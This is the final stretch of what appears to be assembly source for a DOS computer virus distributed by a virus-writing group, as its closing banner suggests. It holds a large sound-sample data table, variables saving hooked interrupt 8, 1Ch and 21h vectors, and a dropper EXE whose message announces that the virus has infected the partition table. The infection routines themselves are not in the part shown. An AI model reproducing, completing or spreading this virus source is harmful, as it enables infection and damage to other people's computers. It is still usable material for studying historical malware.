		db	03eh,038h,07ch,07ch,060h,070h,079h,081h,0e0h,0e2h,063h,0c1h,0c1h,0c3h,087h,0c7h
		db	087h,007h,03fh,00eh,00ch,0ceh,03eh,033h,038h,078h,07ch,0e0h,0e0h,0f9h,0e3h,083h
		db	0f1h,085h,0cfh,0e6h,007h,01fh,098h,01ch,07eh,020h,070h,0fch,031h,099h,0d8h,0c6h
		db	067h,063h,01bh,09dh,08ch,00eh,07bh,030h,079h,0e0h,080h,0fbh,0cch,003h,0e7h,030h
		db	00fh,09ch,0c0h,03eh,033h,000h,0fch,0ceh,003h,0f3h,098h,00dh,0ceh,060h,037h,039h
		db	080h,0dch,0e7h,001h,073h,09ch,007h,0ceh,070h,01fh,01ch,0c0h,03eh,073h,000h,0f1h
		db	0cch,001h,0cfh,038h,006h,03eh,0e0h,00ch,0ffh,098h,043h,0feh,061h,00fh,0f9h,084h
		db	077h,0f2h,010h,08fh,0cch,003h,03fh,091h,000h,07fh,002h,013h,0fch,0c8h,047h,0fbh
		db	030h,00ch,0e6h,00ch,00dh,0dch,020h,099h,0b8h,0cch,013h,0e3h,038h,08dh,08ch,0e1h
		db	099h,03bh,0d8h,099h,0bfh,0ech,0c4h,07fh,09ch,0c8h,0ceh,07eh,004h,02fh,0f9h,000h
		db	027h,0f7h,020h,01bh,0ffh,0c0h,00eh,0f7h,060h,011h,0ffh,0c0h,006h,0ffh,080h,001h
		db	0feh,0c4h,066h,0fch,0d0h,011h,0ddh,0c4h,067h,027h,033h,0fch,0cch,046h,066h,072h
		db	000h,0cfh,0eeh,0c0h,00fh,077h,030h,019h,09fh,0e0h,000h,0dfh,0d8h,011h,01ch,0cch
		db	0cch,046h,067h,073h,011h,099h,09ch,0cch,0e6h,062h,033h,03bh,011h,08dh,0feh,0c4h
		db	003h,07fh,0b9h,080h,08ch,0f6h,062h,000h,03dh,0dch,000h,007h,0fbh,010h,019h,0bfh
		db	0e2h,046h,007h,033h,0b1h,008h,06eh,063h,031h,09fh,0f0h,000h,067h,073h,011h,099h
		db	0cfh,033h,030h,030h,0d9h,098h,080h,03fh,0fch,000h,04fh,0efh,073h,030h,018h,07fh
		db	0fch,000h,019h,0feh,000h,037h,0ffh,080h,000h,037h,08eh,0f9h,000h,003h,0ffh,080h
		db	006h,0ffh,0f0h,000h,01eh,0f1h,0dbh,080h,000h,037h,0f0h,000h,027h,0f3h,040h,04eh
		db	0e7h,000h,04fh,0c6h,000h,0dfh,0ceh,080h,09dh,0cch,001h,09fh,0c4h,000h,09fh,0fch
		db	001h,09fh,080h,000h,0bfh,0c8h,080h,09dh,0cch,080h,0ceh,0e4h,040h,04eh,0ffh,022h
		db	027h,072h,010h,013h,0bbh,098h,00dh,0dch,084h,002h,077h,062h,001h,0bbh,0b0h,080h
		db	04eh,0ech,040h,01bh,0bbh,010h,006h,0eeh,042h,000h,09dh,0d8h,080h,013h,0bbh,000h
		db	002h,077h,062h,004h,06eh,0e4h,020h,00ch,0eeh,0c0h,000h,0cch,0ech,000h,00ch,0eeh
		db	0c0h,000h,06eh,0f4h,000h,006h,077h,040h,002h,033h,0feh,080h,018h,0dfh,0f0h,000h
		db	046h,07fh,0c0h,023h,01bh,0f6h,000h,00ch,0ffh,0d8h,010h,031h,07eh,070h,03ch,00fh
		db	0e0h,0f8h,01fh,081h,0f0h,03eh,007h,0c0h,0f0h,03eh,003h,003h,0f0h,038h,03fh,003h
		db	081h,0f0h,03ch,01fh,081h,0c1h,0f0h,01ch,00fh,081h,0e0h,0f8h,01eh,00fh,080h,0e0h
		db	07fh,07fh,0ffh,0ffh,0ffh,0ffh,0ffh,0feh,06ch,092h,0d9h,0a6h,0c6h,082h,0c8h,032h
		db	049h,000h,083h,07fh,0b0h,000h,016h,0ffh,0a0h,000h,05fh,0fdh,080h,042h,0bfh,0f0h
		db	082h,009h,02dh,010h,080h,099h,06bh,040h,006h,0cah,0a0h,000h,0bdh,0b4h,000h,050h
		db	0b4h,001h,0d1h,0a4h,081h,0d3h,046h,096h,0d6h,0a2h,049h,0dbh,040h,0b7h,0f4h,083h
		db	06dh,0e9h,026h,0f1h,0f2h,027h,0f3h,0a4h,0b7h,063h,060h,01fh,0c7h,0f1h,036h,0cfh
		db	0b0h,03eh,00dh,0b0h,07eh,00bh,0d0h,07bh,01bh,0c0h,07ch,01bh,064h,06ch,01fh,024h
		db	064h,00dh,036h,066h,04dh,093h,023h,06dh,01bh,003h,02dh,09dh,007h,085h,09dh,087h
		db	0c4h,08eh,087h,0c4h,0c6h,0c3h,0c4h,0c7h,043h,066h,043h,003h,0e6h,043h,081h,0b2h
		db	065h,081h,0b2h,061h,081h,0b3h,063h,081h,0d3h,033h,0c1h,0f1h,031h,091h,0b1h,033h
		db	0b1h,0f1h,033h,0a1h,0e1h,023h,021h,0e1h,023h,063h,063h,066h,066h,0e3h,066h,0e4h
		db	0c7h,04dh,0cdh,08fh,013h,05bh,09eh,066h,064h,0ech,0cch,0c9h,0ddh,099h,091h,0bbh
		db	017h,04fh,0d8h,02eh,00fh,032h,07eh,01eh,068h,0f8h,079h,091h,0f0h,0f7h,046h,0c5h
		db	0deh,09fh,09fh,0edh,07ch,02fh,0b3h,034h,05eh,04ch,099h,0b9h,0bbh,032h,0cah,0cch
		db	0dbh,009h,013h,00dh,034h,02eh,064h,0d8h,0b9h,0a1h,023h,064h,08ch,08dh,092h,032h
		db	03ch,0c8h,0c8h,0fah,037h,023h,0d0h,09ch,00eh,0c2h,0f0h,066h,04bh,0c1h,0d9h,01bh
		db	026h,064h,0cch,09bh,007h,033h,06ch,01ch,099h,0e0h,072h,065h,083h,089h,01dh,00eh
		db	024h,064h,078h,0b1h,091h,0e6h,0cch,08fh,012h,032h,038h,049h,090h,0f3h,066h,047h
		db	08dh,019h,01eh,034h,04ch,0d9h,0b3h,033h,0e6h,0cch,0c9h,019h,062h,06ch,06dh,099h
		db	0b1h,0b6h,066h,0c6h,0f8h,09bh,01dh,0c8h,0fch,033h,033h,0b1h,0ech,0cdh,0cdh,099h
		db	03ah,037h,064h,0e8h,0e7h,083h,0c1h,0cfh,007h,087h,0ddh,01fh,00fh,032h,03eh,01eh
		db	074h,07ch,07ch,0e0h,0f8h,0f9h,0c1h,0f9h,077h,043h,0e9h,0fbh,083h,0e0h,0e5h,087h
		db	082h,099h,00fh,016h,073h,023h,001h,0f1h,013h,002h,032h,006h,002h,0f2h,066h,0c0h
		db	0e2h,062h,046h,066h,00eh,00ch,0e6h,026h,040h,0e4h,07ch,000h,0e2h,06ch,001h,0c2h
		db	022h,062h,0e6h,00ch,040h,036h,01eh,002h,0e2h,036h,020h,0f2h,03ch,038h,0f3h,036h
		db	060h,0d3h,013h,042h,07bh,01bh,001h,0f9h,03fh,02ch,0f9h,01bh,0b0h,079h,091h,0b1h
		db	0f9h,01fh,083h,0f9h,09fh,003h,0fdh,09dh,09bh,0bch,0ddh,0dbh,0fch,0ddh,09bh,0fch
		db	0ech,069h,0fch,0dch,0fdh,09ch,0cch,0f9h,03eh,06ch,0bch,0bch,02eh,024h,0feh,066h
		db	034h,0deh,026h,036h,01eh,066h,066h,04eh,066h,02eh,04fh,017h,01fh,027h,033h,01fh
		db	00fh,09bh,01ah,04fh,099h,039h,027h,088h,0d8h,037h,098h,083h,007h,0cch,018h,012h
		db	04ch,01ch,006h,0a4h,036h,00eh,054h,01eh,01fh,01eh,00eh,007h,09eh,00eh,04eh,0ceh
		db	00fh,007h,087h,007h,087h,08fh,007h,003h,047h,007h,083h,0c3h,003h,083h,0e3h,081h
		db	081h,0c3h,0a3h,0e1h,0e3h,0c1h,0f1h,0f1h,0c0h,0e0h,0f9h,0c0h,0f0h,070h,0f0h,0f8h
		db	0f8h,0f0h,0f8h,07ch,0c0h,0d8h,018h,01ch,01ch,06ch,0fch,03fh,025h,0cch,04ch,00ch
		db	0ceh,06eh,03ch,0e2h,0e3h,0e3h,0e7h,0c7h,08ch,073h,032h,074h,0f0h,0f1h,0b2h,070h
		db	0f2h,078h,078h,078h,078h,078h,078h,038h,038h,03ch,03eh,01ch,03ch,01eh,01ch,01ch
		db	01eh,01fh,01eh,00fh,00eh,00eh,00fh,08fh,00fh,007h,087h,087h,043h,083h,0c3h,0c3h
		db	0c3h,0c3h,0c3h,0c3h,0c3h,0c1h,0e1h,0c3h,0e0h,0f0h,0e0h,0e0h,0f0h,0f0h,0e0h,0f0h
		db	070h,0f0h,0f8h,078h,070h,078h,070h,070h,03ch,03ch,038h,03ch,03ch,01ch,03ch,03ch
		db	01ch,01eh,01ch,09ch,01eh,01ch,01eh,01fh,01ch,00eh,01fh,01ch,00fh,01fh,01eh,00fh
		db	00fh,09fh,007h,00fh,0c7h,007h,00fh,087h,017h,087h,087h,087h,0c7h,093h,087h,0c3h
		db	0d3h,083h,0c3h,0d1h,0c3h,0e1h,0f9h,0c3h,0e1h,0e8h,0c7h,0e0h,0f8h,0e3h,0f8h,0f6h
		db	0e3h,0e8h,07eh,0e3h,0e8h,07eh,063h,0e4h,0f9h,0e3h,0e2h,0dbh,0e1h,0e1h,0c8h,0e0h
		db	070h,0cdh,0f0h,0f0h,0cch,0f1h,0f8h,0c1h,0f0h,0f0h,0f1h,038h,038h,073h,038h,03ch
		db	073h,038h,03ch,038h,01ch,01eh,03ah,01eh,01eh,03ch,08eh,01eh,01ch,08eh,00fh,01fh
		db	08eh,00fh,01fh,00eh,00fh,01eh,006h,007h,00eh,007h,04eh,049h,0e2h,036h,00dh,0e6h
		db	028h,0c1h,0f3h,006h,004h,0b3h,007h,001h,0a9h,00fh,083h,095h,007h,087h,0c7h,083h
		db	081h,0e7h,083h,093h,0b3h,083h,0c1h,0e1h,0c1h,0e1h,0e3h,0c1h,0c0h,0d1h,0c1h,0e0h
		db	0f0h,0c0h,0e0h,0f8h,0e0h,060h,070h,0e8h,0f8h,078h,0f0h,07ch,07ch,070h,038h,03eh
		db	070h,03ch,01ch,03ch,03eh,03eh,03ch,03eh,01fh,030h,036h,006h,007h,007h,01bh,03fh
		db	00fh,0c9h,073h,013h,003h,0b3h,09bh,08fh,038h,0bch,0f8h,0f9h,0f1h,0e3h,01ch,0cch
		db	09dh,03ch,03ch,06ch,09ch,03ch,09eh,01eh,01eh,01eh,01eh,01eh,00eh,00eh,00fh,00fh
		db	087h,00fh,007h,087h,007h,007h,087h,0c7h,083h,0c3h,083h,083h,0e3h,0c3h,0c1h,0e1h
		db	0f1h,0d1h,0e0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,078h,070h,0f8h,03ch,038h
		db	038h,03ch,03ch,038h,03ch,01ch,03ch,03eh,01eh,01ch,03eh,01ch,01ch,00fh,00fh,00eh
		db	00fh,00fh,007h,00fh,00fh,007h,007h,087h,027h,007h,087h,007h,087h,0c7h,003h,087h
		db	0c7h,003h,0c7h,0c7h,083h,0c3h,0e7h,0c1h,0c3h,0f1h,0c1h,0c3h,0e1h,0c5h,0e1h,0e1h
		db	0e1h,0f1h,0ech,0e1h,0f0h,0f4h,0e0h,0f0h,0f4h,070h,0f8h,07eh,070h,0f8h,07ah,031h
		db	0f8h,03eh,038h,0feh,03dh,0b8h,0fah,01fh,0b8h,0fah,01fh,098h,0f9h,03eh,078h,0f8h
		db	0b6h,0f8h,0f8h,072h,038h,01ch,033h,07ch,03ch,033h,03ch,07eh,038h,07ch,03eh,03ch
		db	04eh,00eh,01ch,0ceh,00fh,01ch,0ceh,00fh,00eh,007h,007h,08eh,087h,087h,08fh,063h
		db	087h,087h,023h,083h,0c7h,0e3h,083h,0c7h,0c3h,083h,0c7h,081h,081h,0c0h,0f9h,09bh
		db	093h,079h,08dh,083h,079h,08bh,030h,07ch,0c9h,0c3h,02ch,0c1h,0c0h,07ah,043h,0e0h
		db	0e5h,041h,0e1h,0f1h,0e0h,0e0h,0f9h,0e0h,0e4h,0ech,0e0h,0f0h,078h,070h,078h,078h
		db	0f0h,070h,034h,070h,078h,03ch,030h,038h,03eh  ; ,038h

SampleEnd	equ	this byte

;------------------------------------------------------------------------------
;
; Variables
;
;------------------------------------------------------------------------------

Active		db	-1
ActiveYear	dw	-1
ActiveDate	dw	-1

OldInt8		equ	this dword		; orginal interrupt 8
OldInt8o	dw	-1
OldInt8s	dw	-1
OldInt1C	equ	this dword		; orginal interrupt 1ch
OldInt1Co	dw	-1
OldInt1Cs	dw	-1
OldInt21	equ	this dword		; orginal interrupt 21h
OldInt21o	dw	-1
OldInt21s	dw	-1

Count		dw	-1			; timer count
SampleOffset	dw	-1			; Used to make sound
SampleBit	db	-1
SampleFlag	db	-1
Handle		dw	8 dup(-1)		; Filehandles

cseg ends

;------------------------------------------------------------------------------
;
; Orginal EXE-file
;
;------------------------------------------------------------------------------

mseg segment public 'code'
		assume	cs:mseg, ds:mseg, es:mseg


		db	'MZ'			; header
		dw	PrgSize			; PartPage
		dw	1			; PageCount
		dw	0			; relocation items = 0
		dw	0			; headersize = 0h
		dw	80h			; minimum memory
		dw	0ffffh			; maximum memory
		dw	(PrgSize+15)/10h	; ss
		dw	7feh			; sp
		dw	0			; chksum
		dw	offset Orginal		; ip
		dw	0			; cs
		dw	1ch			; offset relocation table
		dw	0			; overlay number

Orginal:	mov	ah,9			; display warning
		push	cs
		pop	ds
		mov	dx,offset Warning
		int	21h
		mov	ax,4c00h
		int	21h			; terminate

Warning		db	13,10
		db	'WARNING:',13,10
		db	13,10
		db	'Yeah virus has now infected the partition table !!!!!',13,10
		db	13,10
		db	'$'

mseg ends

sseg segment stack 'stack'
		db	800h dup(?)
sseg ends

end Main

;  �������������������������������������������������������������������������
;  ���������������> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <���������������
;  �����������> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <�����������
;  �������������������������������������������������������������������������